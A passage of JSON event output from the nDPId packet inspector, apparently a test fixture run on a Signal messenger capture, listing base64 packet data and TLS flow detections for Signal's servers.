oF2Hlil\/qgGEmIxpw37N8ywkO8psfZcB1fstW5+nMkgCPjhAHqYduF6d+BslQEATpnfEf4319WFCVpVnsJej9zDqCxii8iaLQ1FnBv8CJab9k+nhklAxNHea63zjQkoMmoWK0bNHME45w+dwL+VvSFLJkJqHdQYmOB6OuqUSsgBPgjSy4Yj4zICpNnkopcYNmF8sFixg5tY0Agwg6g+zOUf1auld5T4mS89vZcvBp\/H2pjFXqr4F2+nr8aDZqxszaOav1rlo+LtuFDnSIm8EK9\/b8UkqZ1mdLyfFzWAXAjYZLoaXI2ETFePtnPjccHnkkALLzbJYFNXVgjNr56WzKmuyQAzZOeo2MThI508zTwSLTBmDMuvmevCTF+JnO4Jwn9eSLeza\/V3HQkQTg60Fr6B7sqhtvA8\/Y5QpENWUN3c02GKHt\/VGmKHSeCwvKvmPn108H4HMIfL0fDzuEBzmZ1H5IhR1PCnSAD8\/jAXT8kUfxUwcUyFl9ZtX6hJrkxuc+tzXz2LE3+WHRdjrs363PwgyplOYHNKHhRUFw5GYte3mv5TNY4uDKa0Dy+bQy9sFRNe\/47JVi0gJ94Gic1DghxysVQTcdZaipYhrbuvVJZlY1p7s0RpdAw36Hdw+SjMdlGyb3D3Vk0SV9ALyeNezhkDfgeCtYgKn2wq0Blr1ZBnB"} +02069{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":690606,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"xGGLNYKpxiwDYGpkCABFAAT0iWkAADQGBpkXORgQwKgCEQG73rrg+VXMaJ6p24AYAOsQRQAAAQEICpZOKe8oVVIbgcjm4wszT5ZXlXNWtV0zRbnQ0QVtT5ZipYVbTMplTQXXYKOwUoUSe1qODXfp95OGTrfDfCvMoopRGn2ONzPoFKyyrDTvM6+othCUgsXqizlgIDZMQzfLS4Am2bGg5hZX\/2xFNG9BZqqV1XIqDxWL9KNTgLN+IzQTQ9zr245kLykxiTujX2LmcTrRzYne3NmhGc6djTMLVgFppANRE3G2V7k0toZM+pULkDBl5s7hdce2qLF5oBRFCGYUcBKv9jpJnmwDM+djWHTE8x4Ou9S0ZYvXwRUCRvtVQQg41sIptslztqDKOufaRqT1C+UeoH3a1lkeGRXuwjuFFAq9Yhyvk27taFX6GZ99kunbKFlKlns6fiCipVV6CDJJaVS8Ki9wt4DBmu9HJqBBHRPDtMUelH2i0XWTydUBhC\/u\/urhJOKao8N\/joTK9DHox2aAh9CM6QrywyOkd98Fhrs9Lyq0CKYt1vpKudYBW7kH7Z3W2GlxUzRTqvkwZ+72TWwQItbGZ87O6IxjzTVnoQOUtKAes2mw2Y0KZiP3DkXQak2ojPVjiXPxlJDs0lhzt0tyrXSNrM3IvJ3uuUKLuLRnLU+E1tcnuzfQ05Z5dMeAnLv5N4jG3RpjfZyXxy0H2QuVK9z1qFAaBoEdS0EHA+OHToINQ1EyiMVMWgAwHO3zinXahWZudOgXUWzIhhwDU2qpLxcfSnHBMZShsy0VWynIPJLuiUiB3S4Gl4Beu++7OA11rhpIAPwq28IGF4XQN6U2+Kq5ToG2TR0UIQ8BWaWYq41PcG13eTkr3gvj7Z4eB+SCU8fUmi1872hxLpVO2R42pCcFcTvsv0Gq876QqkAGfwmjBs9oOYWGMzPQmhjb8hDlqkoSYJYSA9J7QRjX9t6PCIXpx2okbL27ElKPZlCf54w8TZDoM5\/w9Uon\/HW3I47ZGhWK9RjLjuOTLzugDyXp\/W2k2vMhA+wRBgDjnPejoz7eBPG\/RN1Uwc7nbC8G9ZINXKXC61sIWIUUNPzYD4v0x9IJXwWm3jKCtxFn67zuezCfN56Xr29XZWC3DbGj6bd19ttlR7D2xXEpjeXOSsBcjomezhVUqxUGRgVCghfiE1dEu\/tTBua2OCVeleB2Tg44voJatV5pEUtBFejT45C\/TW\/ncDo8ntGIJq9XrwfZbO3CThdJhhTIrts2NDPVRfjGENmwYrKXroPLZ7+6rWgqFfSVWvs7R+rGLWZ3BiRBMBkGvf89Hy7+RKpbNsQWdHSD2oYEcG6XUc0DnXyQZjQH62caupn5cApKIDKgWLzfbhkGGiLoFGqoGlr2I3kn5\/3+A2ABfumW99BkoierP9+0W6H\/VcX6nw8vpdgrODVsmSDq5cqNHuTO70zojR5jUOesKl7LA7kmyfJVilQxzONsDQ61nNEGCzS0tUEgM82St1scF+2juM2ITbLELE2yfQqGmRe2hIhMtIOw+WZ+fmT3MXEn7vGXibBA3XbDHSs6MZfoQJZVGGT7+5\/Wl\/G\/ropW\/z5UvF6mKNaBlJJQQ05O1F7ouI7kLsNUpUVoBuErftuq3MclniVRlqMBVXsLAUsUdHYMsuiBvpGJgHZtvzsX3MsyCwOkkOem4kElrXRK69wcmg=="} +02386{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":690774,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUiWoAADQGBbgXORgQwKgCEQG73rrg+VqMaJ6p24AQAOu3qwAAAQEICpZOKfAoVVIb3CjSG8W+zO6s93o3NrVx+sWT7unr9HQTwuUAwYwy2juLUDN7lcvCpisJgbWd16dtEYIHt8jWpTaLm9qulXwqVpYAojWFmzoKfoOyYpKuCYDH2xLo0TbprJFVK+RtIyT10mHF2WV1fLYH8Nitm6r7ggLOiiSmcGcu74aH6TM4cpCsP55XolFNJ\/1T94Kju3LU6ENc4OSG1u3fLVuC9K72+rRTvJii7xH90Y4rH\/JqdosPRC67+xsS+J8WSAV3+7mdcEDvIQbyZ\/AjN\/Toqj\/VyX7saKR+0R6an20SGOGVN3Xj5CK4GNgT6+Fmm8cO5vPvA+7XX6xx1S+RCQ+WZSyDTOn9DxF1v\/sroK9tTPRkUTn42dq5e+U3N5OuXO\/OCFJeAXUTOHTVseLasgMixaIsHXp5HxBRQkElKz\/0bmp1fTB\/YnXw0nyF9+jfNkytwIRPNsyhjOsEBD4b\/mX8qjiDKiIWwLjBrKMQ68435ehvs0WrLDUeNQ23Sp6q1IstLR328zmVrHmOH2+QvlABOhgAPBeoHYRhVYkTEh\/+dAHTgjzZUlvhYTaHZx\/OqEXYrIyUxeFLNmPXfGpbTxgSfHrkM3yx65gSt7R\/NZDIL11Ts0PqLdpcqxnSbL6QCyL+4qgSRSxdpC\/Gh5+65M8+4sTKj7rRE7utOJNH2WE2Q4uMx6hzy74S7fmh5V66QiOA\/EbFdGvWGj5cFpCg6S3WOOrzPwLMJwwhF+BHslLFzgBONVoJKIpF6D6K\/dWAJCPKQ4cTArvTaCg\/111QAmHeAksHUTli4Opff2CnEc+0D5fdKit50wTOekHrzV7T3iFgAmEoR\/owPDh\/yvEv9N5ZCaPS1xW0xe\/cEr+wc38yf0aU0rS6ANXWhRqM5pwhuCtuezIikq4a9ZEv6jTNbVI66UrEmLlftFxKEKm2fZGBYyrh2AeEwt+PMDFPjJfVf9vChGjdLh0juqCn9J3K0d9AapVSbr0oEjUEtH+Vj+dmw+9eDVUv6bxJgKZtozf\/7GpSeWDlKc5wMtL7fBzF6jtBRPqIKSqL3BMswelCm8egzmXM41YX668TEVzFkYxLxFIB+g7yP+ePHuYz4ceiF6jBV1RpPK4kCEdc+qhxs\/F7BsyM6K2coNxH6eXgjjOrZ+GLZiP90I22Q6k1taIhgV0y6Fnxche\/wKrhd0o+Ht+2Daqc8WBiY9ZmPZ0qWLjG0DJOxEywrmu\/RBZaWLCgIHqLyqBFDa+qGZw6tY5YnkPgPVrEqEXOqwm5NelxwHHb8l\/mS0iuuVMquEQrsV3f0SfzAAl8w\/MVOF9OencG85LVrqTB5\/tgc5Op0coscxcEGCbrb75zx81VcXUnO151f\/1YabjcVRkzLGlrcBpkZzlGBKuG30Y\/0x3OyFmNg1COmirie12cyb\/V7zt9h+tkosv6XE1i6p2AhmuUBdhn9\/9HKLUCG\/va4wJCob03jUk7RxeBvcPDmZ\/eZDGov\/z6WoxfBu7KYx41KUXSVDO3eiVdDQG+M6y5AH2NZzKv1eIp5QzGfwoWNZbyX7U4DwZ5Ck9EDWLy6Xmd1+FJdUJMRnyVMjAa1iVdv9d1EJrqwJjPpCMdWrAHd6WpxrwnGql\/T15uqhCbqld5UpQTsywDFc8m34GQpHOlpQi2EVThke+plojMgRk1vVJNcrmZuydcr5ed4+HLp6UPQ0koL0o7\/NiRxQ6IeCLcO66mEtnYAbT+9IyRcrnjwVF3aJDlegdLmq6famVO2UtyJfgYdPysbMXYxPIHGELI6LGIA60ZEN4WHS78ilcUN3tDQ1NZjIs6\/Nj1X7epYJRSeYqwkoeH8\/gAzvvxtmK6XnTsK2zVRaO9x2DHnBS5tKgRiKmxDiUUaHSevOdf2aGHzYbN+yZ9vXnSTlMVQkrPFTd8R+P669ek88Asu5kU"} +00424{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":693471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN66Abtonqnb4PlVzIAQA\/QcNAAAAQEICihVUkqWTinv"} +00423{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":693489,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN66Abtonqnb4PlajIAQA+sXfQAAAQEICihVUkqWTinv"} +00423{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":693539,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN66Abtonqnb4PlgLIAQBAARxwAAAQEICihVUkqWTinw"} +00435{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":704415,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO0G93Mi4fCtwKgCEQG7wEr7fyfqQK3D1aASaN\/uCAAAAgQFrAQCCApkFVboKFVNgQEDAwg="} +00422{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":706588,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrcBKAbtArcPV+38n64AQCBZ9JQAAAQEICihVTfNkFVbo"} +00692{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":706645,"pkt_caplen":263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":263,"pkt_l4_len":229,"pkt":"xiwDYGpkxGGLNYKpCABFAAD5AABAAEAGY7fAqAIRIuHwrcBKAbtArcPV+38n64AYCBZZNQAAAQEICihVTfNkFVboFgMBAMABAAC8AwNdhdJvuXs\/d642PJRF7UI\/AdVwXtSGkzdnBwsA+gkrIgAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAZwAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDAAUABQEAAAAAABIAAAAXAAA="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":22,"source":"signal.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1569051247594,"flow_last_seen":1569051247706,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":32,"flow_max_l4_data_len":229,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":49226,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00435{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":709413,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO0G93Mi4fCtwKgCEQG73rtLEL7asq23cqASaN9\/CQAAAgQFrAQCCApkFVbqKFVR7wEDAwg="} +00422{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":711067,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd67AbuyrbdySxC+24AQBAsSOAAAAQEICihVUlpkFVbq"} +01119{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":711181,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGYnfAqAIRIuHwrd67AbuyrbdySxC+24AYBAsbUQAAAQEICihVUlpkFVbqFgMBAgABAAH8AwNvt088oc+wJ\/keps9Nd59wAmt0exXgkmLypgOxJ3yQxCADkYPnm5qJAc81bPMGd68mU3RC86F4komLht8jFwvJuwAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcAFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAgDvSu5WvgGSyqdaiHWcjph88Rx8PSoGix+VWVEEqv9GkALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVAM4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":25,"source":"signal.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1569051247600,"flow_last_seen":1569051247711,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57019,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00434{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":714648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO0G93Mi4fCtwKgCEQG73r1n96jrbdjHEKASaN+tQgAAAgQFrAQCCApkFVbrKFVR8gEDAwg="} +00435{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":714775,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO4G9nMi4fCtwKgCEQG73rwJHv1\/xsFthKASaN+4LQAAAgQFrAQCCApkFVbrKFVR8AEDAwg="} +00423{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":716291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd69Abtt2McQZ\/eo7IAQBAtAbwAAAQEICihVUl9kFVbr"} +01121{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":716407,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGYnfAqAIRIuHwrd69Abtt2McQZ\/eo7IAYBAtWzgAAAQEICihVUl9kFVbrFgMBAgABAAH8AwNt7hXbpLjXMRR\/bxdtzkjvB4xS1PwDQ6PxbRaUrO0qwSDVSMeS43dgzqJuDX9Nz7D77w9PJu+JEAZF32iZkikHGQAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcAFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAggkVxJnNxvx7yRJ3IWr6\/bePVPj3hLoE6hEcrUhAYuEMALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVAM4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"signal.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1569051247603,"flow_last_seen":1569051247716,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57021,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00422{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":716684,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd68AbvGwW2ECR79gIAQBAtLWAAAAQEICihVUl9kFVbr"} +01123{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":716836,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGYnfAqAIRIuHwrd68AbvGwW2ECR79gIAYBAtCawAAAQEICihVUl9kFVbrFgMBAgABAAH8AwMC\/iq\/29\/bfQmL3NywRdaHPxawxpN\/gjq67bcZmEul+iC0YvLniq6GFUwRgLKNIv\/K1BW3lLi2Y9hIO9HhpF3gJwAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcAFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAg4ti0IjmHHcY34Qh7EHKKwWM8SOIvozUrzGlVTZfDoB4ALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVAM4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"signal.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1569051247601,"flow_last_seen":1569051247716,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57020,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01249{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":736785,"pkt_caplen":673,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":673,"pkt_l4_len":639,"pkt":"xGGLNYKpxiwDYGpkCABFAAKTiWsAADQGCPgXORgQwKgCEQG73rrg+WAsaJ6p24AYAOuJWgAAAQEICpZOKh4oVVJKnIdxTDQCa3bwpp8qZUEnScFYs3z3dWDBGjzryxaWrIi+qzoWSMnArxF3sImdbCn52xRLpVshwlw+WqkG3hLIfozqw5ZHTeAfADPExF\/wey\/sr0EihW+TfoHNmSbwGc0ikc1SDLvnbvY0fX2A4pmZj4jKsnVwZoRndmPrFndUPs9rUpHAfuV9ErfRLYgvbD46TyqH0H2ABuXN6f8uunLcCX6NOcBSsdPG3pv7M3BpVCgoXNeVmEg9TQdA2z+ddzK2M30O0y\/\/mrGq4Pb0SfrA8UUwXw5BhJHT2594o0FS3phkSwE3Adkc3NQIVWiISpJ37nre6SGOBxcDAwEZroqigXUEsChF9TPrIWnhL335\/QTgDSXCse7a8tfDZ30r7uZclwhK5hcYan+zLya7EEteRNl\/QlPJcQ4vbycyu4vCd6WPqPJ\/DYVl3pcffiA2MNdXJKrj0e6JyuDfLHhmKw5hU86hih3Vf1cQUBBpqpxQvLhwbLc5oxhqjZ9JAp6pQyceyui6v3OkzLh0O112i7yTrliNBGBPKJSyZ+Pp\/Mo9GEnwiCGln\/yZ++BPDIL2RDocRF7jvLJfPcyuiGsSxA4P\/HsIT5bZS3Zscm6MSq7cJ7qORcBYYtdUI4pt+IDz2gHWZrp+ipI3wud6YhZtuyq9WquduBrCl9UqpFM2X+oB+BzgfkPZAxbz6zRNnwg2wqPaFkkTox0XAwMARTp6ekbMYoGvY57U9nXsg7rDWcypKmPyEBHt5j4665u7PEuG2oIHovZFn30sZHD\/rMQHzFm7aVRYHI2Yv4CfSBbnBw4YFw=="} +00424{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":738209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN66Abtonqnb4Plii4AQA\/sPFAAAAQEICihVUnWWTioe"} +00535{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":745981,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xiwDYGpkxGGLNYKpCABFAACEAABAAEAGSHLAqAIRFzkYEN66Abtonqnb4Plii4AYBAAqMQAAAQEICihVUnyWTioeFAMDAAEBFwMDAEWt3vSyYiyXNihI1uEvJcD3z4UZlRCq\/v6Noa6tzj1C2PFXglBI2RcmKUroHMPUFJ7ycyKUh9XP0G0NH2GNDEqL6FJpfsY="} +00422{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":816804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0cO8AAO0Ghowi4fCtwKgCEQG7wEr7fyfrQK3EmoAQAG6D7AAAAQEICmQVVwQoVU3z"} 